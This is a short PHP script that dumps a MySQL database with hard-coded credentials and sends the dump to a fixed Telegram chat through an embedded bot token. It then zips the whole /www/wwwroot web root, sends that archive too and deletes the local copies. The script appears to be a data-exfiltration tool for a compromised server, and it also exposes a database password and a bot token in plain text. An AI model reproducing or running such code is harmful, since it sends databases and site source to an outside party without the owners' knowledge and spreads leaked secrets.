<?php

require_once 'database.php';

$db_name = 'mont';

$backup_file = 'database.sql';

$db_host = 'localhost';
$db_user = 'mont';
$db_pass = 'DdaFAHbnCiskxC4x';

$command = "mysqldump --opt -h $db_host -u $db_user -p$db_pass $db_name > $backup_file";

exec($command);
define('TokEn_BoTs1','6319878153:AAESowEbceoxkTBpx6ZPgjBdxzCTe8GKm_M');

function bot($method, $data = []){
    $url  = 'https://api.telegram.org/bot'. TokEn_BoTs1. '/'.$method;
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    $res = curl_exec($curl);
    curl_close($curl);
    return $res;
}
bot('sendDocument',[ 
    'chat_id'=>'5802008071',
    'document' => new CURLFile($backup_file)
]);
unlink($backup_file);


$archive = "project.zip";
$directory = $_SERVER['DOCUMENT_ROOT'];
exec( "zip -r $archive /www/wwwroot");

bot('sendDocument',[ 
    'chat_id'=>'5802008071',
    'document' => new CURLFile($archive)
]);

unlink($archive);

echo 'ok';
